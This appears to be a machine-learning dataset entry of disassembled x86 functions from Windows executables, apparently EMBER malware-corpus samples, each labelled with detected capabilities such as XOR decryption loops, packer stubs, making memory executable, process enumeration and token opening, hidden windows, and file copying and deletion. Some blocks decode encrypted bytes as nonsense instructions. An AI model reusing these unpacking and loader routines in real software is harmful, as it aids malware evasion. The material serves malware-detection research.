joyce8/EMBER2024-capa huggingface dataset:
Function at 0x805ebc
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x805ec2
pop ebp
sub ebp, 6
sub ebp, 0x405ebc
jmp 0x805f20
jmp 0x805f29
mov eax, 0x405ebc
add eax, ebp
add eax, 0x93
mov ecx, 0x638
mov edx, 0xf972b1fb
xor byte [eax], dl
inc eax
dec ecx
jne 0x805f40
jmp 0x805f53
xchg ecx, eax
mov ebx, 0xfbebfb93
sti
xchg ebx, eax
sti
aaa
xlatb
sti
enter 0xffffffffffffab3b, 4
outsb dx, byte [esi]
sti
sub cl, ch
sti
stosd dword es:[edi], eax
jo 0x805fa1
jo 0x805fdf
invalid
sti
adc edi, esi
sti
sti
sti
adc dl, bl
sti
sti
sti
scasb al, byte es:[edi]
scasd eax, dword es:[edi]
cmpsb byte [esi], byte es:[edi]
jo 0x80602f
sti
sti
sti
jo 0x806025
idiv ebx
sti
sti
jo 0x806033
jmp 0x805fba
ljmp 0xdc50:0x93fbf2cc
sti
xchg ebx, eax
push eax
fmul st(4), st(0)
sti
cli
xlatb
fild qword [edx - 0x40401ed]
sti
adc dh, byte [eax - 0x51040407]
jo 0x80600d
invalid
add al, 0x8e
test dword [esi + ecx*4], 0xfb8513f3
sti
sti
jo 0x806049
sti
sti
sti
jp 0x806013
xchg ecx, eax
sbb al, 0x49
jmp 0x806088
jp 0x806019
xchg ecx, eax
sbb al, 0x49
jmp 0x805fdc
enter 0x7a32, 9
sub dword [esi], 0x1b
jge 0x806096
sbb edi, dword [ebp + 0x7a]
or dword [ebx - 0x3782e4d2], eax
sub dword [esi], 0x1b
jge 0x805fea
sub dword [eax + 0x13], edi
invalid
mov bl, 0xfb
sti
sti
popfd
jo 0x80601d
ret 0x7b
popfd
jp 0x80604c
add al, 0xde
hlt
jo 0x806010
pop es
dec ecx
jnp 0x806100
std
jp 0x8060cf
cli
sti
sti
sti
jae 0x806094
jp 0x8060d6
cli
sti
sti
sti
inc eax
stc
sti
sti
sti
stc
sub esp, esi
jle 0x8060a6
sti
sti
sti
jno 0x80609a
mov ebp, 0x78f429e9
and eax, dword [esp + eax]
add al, 0xf9
sub esp, esi
jle 0x8060b9
sti
sti
sti
jno 0x8060ad
mov ebp, 0x78f429e9
xchg ecx, eax
sti
sti
sti
enter 0xfffffffffffff93b, 0x29
hlt
invalid
jmp 0xd1f95504
invalid
Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x1c470133
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x66c76786
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40601c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x406028
push 0x406024
push 0x406020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x406028]
push dword [0x406024]
push dword [0x406020]
mov dword [0x406014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x40129c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x84], 0
call fcn.004019a4
mov edi, eax
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
mov eax, edi
or al, 0x40
push eax
lea eax, [0x4046d1]
lea edx, [fcn.00401a14]
sub eax, edx
push eax
push fcn.00401a14
call sub.KERNEL32.dll_VirtualProtect
cmp dword [ebp - 4], 0
je 0x40132e
push edi
call fcn.00401894
lea eax, [ebp - 0x84]
push eax
push edi
call fcn.004018e3
mov eax, edi
add eax, 0x1e200
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x84]
push eax
mov esi, dword [ebp - 0x88]
mov ecx, esi
mov ebx, edi
sar ebx, cl
sub esi, ebx
push esi
lea esi, [0x4060e4]
xor esi, edi
push esi
call fcn.00401a14
add esp, 0x18
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4019a4
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push edi
and dword [ebp - 0x120], 0
xor edi, edi
mov dword [ebp - 0x11c], 0x14
invalid

Function at 0x4012b6
Capabilities:
Hide graphical window

Disassembly:
push ebp
push 0x10000
push 0x1000
push 1
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x403eb4], eax
push 0x64
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, 0x30
push eax
mov dword [eax], ecx
add eax, 0x4c
mov ebp, eax
mov eax, 0x400000
mov dword [0x403eb0], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x44], 0x401191
mov dword [ebp - 0x24], str.resiliency
call dword [sym.imp.USER32.dll_RegisterClassExA]
xor eax, eax
push eax
push dword [0x403eb0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.abasement
push str.resiliency
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403eb8], eax
push eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.USER32.dll_UpdateWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401380
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401367
mov eax, dword [0x403eb4]
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
pop ebp
ret 0x10
Function at 0x402dd9
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x4173a0]
push esi
mov dword [ebp - 4], eax
xor esi, esi
xor eax, eax
cmp dword [ebp + 0xc], esi
je 0x402e79
push edi
push 0x49
pop ecx
push esi
mov dword [ebp - 0x12c], esi
lea edi, [ebp - 0x128]
push 2
rep stosd dword es:[edi], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x402e1d
xor eax, eax
jmp 0x402e78
lea eax, [ebp - 0x12c]
push eax
push edi
mov dword [ebp - 0x12c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x402e6f
push dword [ebp + 0xc]
call fcn.00408438
pop ecx
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.00408438
pop ecx
push eax
call fcn.004083b0
test eax, eax
pop ecx
pop ecx
je 0x402e84
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x402e38
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
mov ecx, dword [ebp - 4]
pop esi
call fcn.0040857d
leave
ret
push dword [ebp - 0x124]
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push dword [ebp + 8]
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, eax
jmp 0x402e6f

Function at 0x402ea9
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x4173a0]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
xor eax, eax
inc eax
cmp dword [ebp - 0x88], eax
jne 0x402eee
cmp dword [ebp - 0x94], 4
jne 0x402eee
cmp dword [ebp - 0x90], 0xa
je 0x402ef0
xor eax, eax
mov ecx, dword [ebp - 4]
call fcn.0040857d
leave
ret

Function at 0x402efa
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov eax, dword [0x4173a0]
push esi
xor esi, esi
push esi
push esi
push esi
push esi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x6c]
push eax
push 0xc
push esi
push 0x4136ec
mov dword [ebp - 0x6c], esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push dword [ebp - 0x6c]
lea eax, [ebp - 0x68]
push 0x4136e8
push eax
call fcn.00408738
lea eax, [ebp - 0x68]
push eax
call fcn.00407fc0
add esp, 0x10
test eax, eax
jne 0x402f60
push 0x4136dc
push 0x4136d4
lea eax, [ebp - 0x68]
push 0x4136cc
push eax
call fcn.00408738
add esp, 0x10
lea eax, [ebp - 0x68]
push eax
push esi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
cmp eax, esi
je 0x402f7e
xor esi, esi
push eax
inc esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
call fcn.0040857d
leave
ret
Function at 0x40344e
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x4173a0]
push ebx
push esi
xor ebx, ebx
push 0x41371c
mov dword [ebp + 0x8c], eax
mov dword [ebp - 0x80], ebx
mov byte [ebp - 0x78], bl
mov byte [ebp - 0x79], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
cmp esi, ebx
je 0x4034b8
push 0x413708
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x4034ac
lea ecx, [ebp - 0x78]
push ecx
push ebx
push ebx
push dword [ebp + 0x9c]
push ebx
call eax
test eax, eax
jl 0x4034ac
mov byte [ebp - 0x79], 1
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp byte [ebp - 0x79], bl
jne 0x4034c7
push 0x104
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [ebp + 0x98]
lea eax, [ebp - 0x78]
push eax
call fcn.00402d00
mov ecx, dword [ebp + 0x8c]
mov eax, dword [ebp + 0x98]
pop esi
pop ebx
call fcn.0040857d
add ebp, 0x90
leave
ret 8
Function at 0x405038
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x411dc8
call fcn.00408390
sub esp, 0xac
mov eax, dword [0x4173a0]
push ebx
push esi
push edi
push 0x44
pop esi
push esi
mov dword [ebp - 0x10], eax
xor ebx, ebx
lea eax, [ebp - 0xb8]
push ebx
push eax
mov edi, ecx
call fcn.00408590
push 0x10
lea eax, [ebp - 0x3c]
push ebx
push eax
mov dword [ebp - 0xb8], esi
call fcn.00408590
add esp, 0x18
push ebx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x14], 0xf
call fcn.00402380
push 0x25
lea eax, [ebp - 0x74]
push eax
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.0040344e
push 0x413848
push eax
lea eax, [ebp - 0x58]
push eax
mov byte [ebp - 4], 1
call fcn.004033ae
add esp, 0xc
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.00402ac0
push ebx
push 1
lea ecx, [ebp - 0x58]
call fcn.00402480
push ebx
push 1
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], bl
call fcn.00402480
cmp byte [ebp + 0xc], bl
lea ecx, [ebp - 0x2c]
je 0x4050eb
push 0x413840
jmp 0x4050f0
push 0x413834
call fcn.004032b5
push 0xffffffffffffffff
push ebx
push dword [ebp + 8]
lea ecx, [ebp - 0x2c]
call fcn.004029d0
push 0x413830
lea ecx, [ebp - 0x2c]
call fcn.004032b5
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x40511c
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0xb8]
push ecx
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xea60
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x3c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x38]
call esi
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.00402480
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.0040857d
leave
ret 8

Function at 0x4052c9
Capabilities:
Copy file

Disassembly:
mov eax, 0x411dfa
call fcn.00408390
sub esp, 0x3c
mov eax, dword [0x4173a0]
push esi
push edi
xor edi, edi
push edi
mov dword [ebp - 0x10], eax
mov esi, ecx
call fcn.0040377d
lea eax, [esi + 0x1c]
push eax
lea ecx, [ebp - 0x48]
call fcn.00402ca0
add esi, 0xa8
push esi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], edi
call fcn.00402ca0
cmp dword [ebp - 0x30], 0x10
mov ecx, dword [ebp - 0x44]
jae 0x405314
lea ecx, [ebp - 0x44]
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x405320
lea eax, [ebp - 0x28]
push edi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push edi
push 1
lea ecx, [ebp - 0x2c]
call fcn.00402480
push edi
push 1
lea ecx, [ebp - 0x48]
call fcn.00402480
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop esi
call fcn.0040857d
leave
ret
Function at 0x405355
Capabilities:
Copy file
Set file attributes

Disassembly:
mov eax, 0x411e14
call fcn.00408390
sub esp, 0x3c
mov eax, dword [0x4173a0]
push esi
push edi
xor edi, edi
push edi
mov dword [ebp - 0x10], eax
mov esi, ecx
call fcn.0040377d
lea eax, [esi + 0x38]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402ca0
lea eax, [esi + 0xc4]
push eax
lea ecx, [ebp - 0x48]
mov dword [ebp - 4], edi
call fcn.00402ca0
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
mov byte [ebp - 4], 1
jae 0x4053a4
lea eax, [ebp - 0x28]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp dword [ebp - 0x14], 0x10
mov ecx, dword [ebp - 0x28]
jae 0x4053bc
lea ecx, [ebp - 0x28]
cmp dword [ebp - 0x30], 0x10
mov eax, dword [ebp - 0x44]
jae 0x4053c8
lea eax, [ebp - 0x44]
push edi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4053e2
push 1
lea eax, [ebp - 0x2c]
push eax
mov ecx, esi
call fcn.00405038
push edi
lea ecx, [ebp - 0x48]
push 1
call fcn.00402480
push edi
lea ecx, [ebp - 0x2c]
push 1
call fcn.00402480
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop esi
call fcn.0040857d
leave
ret
Function at 0x405955
Capabilities:
Delete file
Get file attributes
Set file attributes

Disassembly:
mov eax, 0x411eba
call fcn.00408390
sub esp, 0x454
mov eax, dword [0x4173a0]
push ebx
push esi
mov dword [ebp - 0x10], eax
push edi
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x45c], ecx
call fcn.0040573a
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x48]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x30], 0xf
call fcn.00402380
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
mov byte [ebp - 4], 1
mov byte [ebp - 0x449], bl
jae 0x4059aa
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, dword [ebp - 0x28]
and eax, 0xfffffffe
cmp dword [ebp - 0x14], 0x10
jae 0x4059c0
lea ecx, [ebp - 0x28]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x4059d4
lea eax, [ebp - 0x28]
push 0x4138b8
push eax
call fcn.00408b2d
mov edi, eax
cmp edi, ebx
pop ecx
pop ecx
je 0x405ac2
lea ecx, [ebp - 0x458]
call fcn.00405564
mov dword [ebp - 0x454], eax
mov dword [ebp - 0x450], ebx
mov byte [ebp - 4], 2
mov esi, 0x400
jmp 0x405a5d
lea eax, [ebp - 0x448]
push eax
lea ecx, [ebp - 0x48]
call fcn.00402cd0
sub esp, 0x1c
lea eax, [ebp - 0x48]
mov ecx, esp
mov dword [ebp - 0x460], esp
push eax
call fcn.00402ca0
mov ecx, dword [ebp - 0x45c]
call fcn.00405688
cmp al, bl
jne 0x405a56
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x454]
lea ecx, [ebp - 0x458]
call fcn.004057f4
jmp 0x405a5d
mov byte [ebp - 0x449], 1
push edi
lea eax, [ebp - 0x448]
push esi
push eax
call fcn.00408a4b
add esp, 0xc
test eax, eax
jne 0x405a0d
push edi
call fcn.004089fa
cmp byte [ebp - 0x449], bl
pop ecx
je 0x405b1d
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x405a91
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x405aa4
lea eax, [ebp - 0x28]
push 0x4138b4
push eax
call fcn.00408b2d
mov edi, eax
cmp edi, ebx
pop ecx
pop ecx
jne 0x405adc
lea ecx, [ebp - 0x458]
call fcn.00405859
push ebx
push 1
lea ecx, [ebp - 0x48]
call fcn.00402480
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.00402480
mov al, 1
jmp 0x405b47
mov eax, dword [ebp - 0x454]
mov esi, dword [eax]
cmp esi, eax
je 0x405b16
push 0xffffffffffffffff
push ebx
lea eax, [esi + 8]
push eax
lea ecx, [ebp - 0x48]
call fcn.00402ac0
cmp dword [ebp - 0x30], 0x10
mov eax, dword [ebp - 0x44]
jae 0x405b03
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.0040893d
mov esi, dword [esi]
cmp esi, dword [ebp - 0x454]
pop ecx
pop ecx
jne 0x405ae8
push edi
call fcn.004089fa
pop ecx
lea ecx, [ebp - 0x458]
call fcn.00405859
push ebx
push 1
lea ecx, [ebp - 0x48]
call fcn.00402480
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.00402480
cmp byte [ebp - 0x449], bl
sete al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
call fcn.0040857d
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405b6e
Capabilities:
Encode data using xor

Disassembly:
push edi
mov edi, dword [esp + 0x10]
test edi, edi
je 0x405bb1
cmp byte [edi], 0
je 0x405bb1
push ebx
push edi
call fcn.00407fc0
pop ecx
xor ecx, ecx
cmp dword [esp + 0x10], ecx
mov ebx, eax
jle 0x405bac
push esi
mov eax, dword [esp + 0x10]
lea esi, [ecx + eax]
mov eax, ecx
cdq
idiv ebx
mov al, byte [esi]
sub al, cl
xor al, byte [edx + edi]
inc ecx
cmp ecx, dword [esp + 0x14]
mov byte [esi], al
jl 0x405b8f
pop esi
mov al, 1
pop ebx
jmp 0x405bb3
xor al, al
pop edi
ret 0xc

Function at 0x405c7c
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x10], eax
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x58], eax
ret

Function at 0x407d3e
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x18
push 0x4139e0
call fcn.0040acc8
mov edi, 0x94
mov eax, edi
call fcn.004076f0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x418e80], ecx
mov eax, dword [esi + 4]
mov dword [0x418e8c], eax
mov edx, dword [esi + 8]
mov dword [0x418e90], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x418e84], esi
cmp ecx, 2
je 0x407d9e
or esi, 0x8000
mov dword [0x418e84], esi
shl eax, 8
add eax, edx
mov dword [0x418e88], eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x407dd7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x407dd7
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x407def
cmp eax, 0x20b
je 0x407ddc
mov dword [ebp - 0x1c], edi
jmp 0x407e03
cmp dword [ecx + 0x84], 0xe
jbe 0x407dd7
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x407dfd
cmp dword [ecx + 0x74], 0xe
jbe 0x407dd7
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.0040bcd9
pop ecx
test eax, eax
jne 0x407e17
push 0x1c
call fcn.00407d1a
pop ecx
call fcn.00409b3c
test eax, eax
jne 0x407e28
push 0x10
call fcn.00407d1a
pop ecx
call fcn.0040bc37
mov dword [ebp - 4], edi
call fcn.0040ba39
test eax, eax
jge 0x407e41
push 0x1b
call fcn.00407cf5
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x41a7c0], eax
call fcn.0040b917
mov dword [0x418e44], eax
call fcn.0040b875
test eax, eax
jge 0x407e67
push 8
call fcn.00407cf5
pop ecx
call fcn.0040b642
test eax, eax
jge 0x407e78
push 9
call fcn.00407cf5
pop ecx
push 1
call fcn.0040b024
pop ecx
mov dword [ebp - 0x24], eax
cmp eax, edi
je 0x407e8e
push eax
call fcn.00407cf5
pop ecx
mov eax, dword [0x418ea0]
mov dword [0x418ea4], eax
push eax
push dword [0x418e98]
push dword [0x418e94]
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x1c], edi
jne 0x407ebd
push esi
call fcn.0040b151
call fcn.0040b173
jmp 0x407eef
or dword [ebp - 4], 0xffffffff
mov eax, esi
lea esp, [ebp - 0x34]
call fcn.0040ad03
ret
Function at 0x4085f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x408610
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040c555
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x408633
test byte [esp + 8], 2
je 0x408633
call fcn.0040c543
mov dword [eax], 0xd
call fcn.0040c54c
mov dword [eax], 5
jmp 0x40860c
xor eax, eax
ret

Function at 0x40b08e
Capabilities:
Terminate process

Disassembly:
push 8
push 0x413c10
call fcn.0040acc8
push 8
call fcn.0040c834
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x418ec0], esi
jne 0x40b0c2
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x418ebc], esi
mov al, byte [ebp + 0x10]
mov byte [0x418eb8], al
cmp dword [ebp + 0xc], edi
jne 0x40b10c
cmp dword [0x419568], edi
je 0x40b0fc
mov eax, dword [0x419564]
sub eax, 4
mov dword [0x419564], eax
cmp eax, dword [0x419568]
jb 0x40b0fc
mov eax, dword [eax]
cmp eax, edi
je 0x40b0dd
call eax
jmp 0x40b0dd
push 0x417098
mov eax, 0x417090
call fcn.0040b00c
pop ecx
push 0x4170a4
mov eax, 0x41709c
call fcn.0040b00c
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x40b13d
cmp dword [ebp + 0x10], edi
jne 0x40b14b
mov dword [0x418ec0], esi
push dword [ebp + 8]
call fcn.0040afca
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x40b14a
push 8
call fcn.0040c77f
pop ecx
ret
call fcn.0040ad03
ret
Function at 0x40b32e
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x4173a0]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x4177b0]
je 0x40b363
inc eax
cmp eax, 0x13
jb 0x40b354
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x4177b0]
jne 0x40b489
mov eax, dword [0x418e4c]
cmp eax, 1
je 0x40b461
cmp eax, edx
jne 0x40b393
cmp dword [0x417398], 1
je 0x40b461
cmp ecx, 0xfc
je 0x40b489
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40b3c9
lea eax, [ebp - 0x80]
push 0x41402c
push eax
call fcn.00408640
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.00407fc0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x40b3fd
mov eax, edi
push eax
call fcn.00407fc0
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x414028
push edi
call fcn.00408e20
add esp, 0x10
push edi
call fcn.00407fc0
push dword [esi + 0x4177b4]
mov ebx, eax
call fcn.00407fc0
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.004076f0
mov ebx, esp
push 0x41400c
push ebx
call fcn.00408640
push edi
push ebx
call fcn.00408650
push 0x414008
push ebx
call fcn.00408650
push dword [esi + 0x4177b4]
push ebx
call fcn.00408650
push 0x12010
push 0x413fe0
push ebx
call fcn.0040e632
add esp, 0x2c
jmp 0x40b489
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x4177b4]
push dword [esi]
call fcn.00407fc0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.0040857d
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x40bd2a
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.004076f0
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40bdc5
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x418e80]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x40bdc5
cmp eax, 1
je 0x40bde6
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40bdc5
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x40bd92
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x40bdc1
xor eax, eax
inc eax
jmp 0x40be05
cmp edi, eax
jae 0x40bdc9
xor eax, eax
jmp 0x40be05
cmp eax, esi
jae 0x40bdd0
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x418e80]
jmp 0x40bde9
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
